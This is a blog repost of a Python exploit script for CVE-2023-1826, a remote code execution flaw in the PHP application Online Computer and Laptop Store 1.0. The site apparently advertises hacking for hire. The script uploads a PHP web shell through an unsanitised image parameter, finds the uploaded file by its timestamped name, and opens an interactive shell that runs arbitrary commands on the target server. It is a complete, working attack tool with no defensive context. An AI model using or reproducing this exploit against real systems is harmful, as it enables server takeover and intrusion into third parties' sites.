Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863537242

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/env python3

# Exploit Title: Online Computer and Laptop Store 1.0 - Remote Code Execution (RCE)
# Date: 09/04/2023
# Exploit Author: Matisse Beckandt (Backendt)
# Vendor Homepage: https://www.sourcecodester.com/php/16397/online-computer-and-laptop-store-using-php-and-mysql-source-code-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ocls.zip
# Version: 1.0
# Tested on: Debian 11.6
# CVE : CVE-2023-1826

# Exploit Description : The application does not sanitize the 'img' parameter when sending data to '/classes/SystemSettings.php?f=update_settings'. An attacker can exploit this issue by uploading a PHP file and accessing it, leading to Remote Code Execution.
import requests
from argparse import ArgumentParser
from uuid import uuid4
from datetime import datetime, timezone

def interactiveShell(fileUrl: str):
    print("Entering pseudo-shell. Type 'exit' to quit")
    while True:
        command = input("\n$ ")
        if command == "exit":
            break

        response = requests.get(f"{fileUrl}?cmd={command}")
        print(response.text)

def uploadFile(url: str, filename: str, content):
    endpoint = f"{url}/classes/SystemSettings.php?f=update_settings"
    file = {"img": (filename, content)}

    response = requests.post(endpoint, files=file)
    return response

def getUploadedFileUrl(url: str, filename: str):
    timeNow = datetime.now(timezone.utc).replace(second=0) # UTC time, rounded to minutes
    epoch = int(timeNow.timestamp()) # Time in milliseconds
    possibleFilename = f"{epoch}_{filename}"
    fileUrl = f"{url}/uploads/{possibleFilename}"
    response = requests.get(fileUrl)
    if response.status_code == 200:
        return fileUrl

def exploit(url: str):
    filename = str(uuid4()) + ".php"
    content = "<?php system($_GET['cmd'])?>"
    response = uploadFile(url, filename, content)

    if response.status_code != 200:
        print(f"[File Upload] Got status code {response.status_code}. Expected 200.")

    uploadedUrl = getUploadedFileUrl(url, filename)
    if uploadedUrl == None:
        print("Error. Could not find the uploaded file.")
        exit(1)
    print(f"Uploaded file is at {uploadedUrl}")

    try:
        interactiveShell(uploadedUrl)
    except KeyboardInterrupt:
        pass
    print("\nQuitting.")

def getWebsiteURL(url: str):
    if not url.startswith("http"):
        url = "http://" + url
    if url.endswith("/"):
        url = url[:-1]
    return url

def main():
    parser = ArgumentParser(description="Exploit for CVE-2023-1826")
    parser.add_argument("url", type=str, help="The url to the application's installation. Example: http://mysite:8080/php-ocls/")
    args = parser.parse_args()

    url = getWebsiteURL(args.url)
    exploit(url)

if __name__ == "__main__":
    main()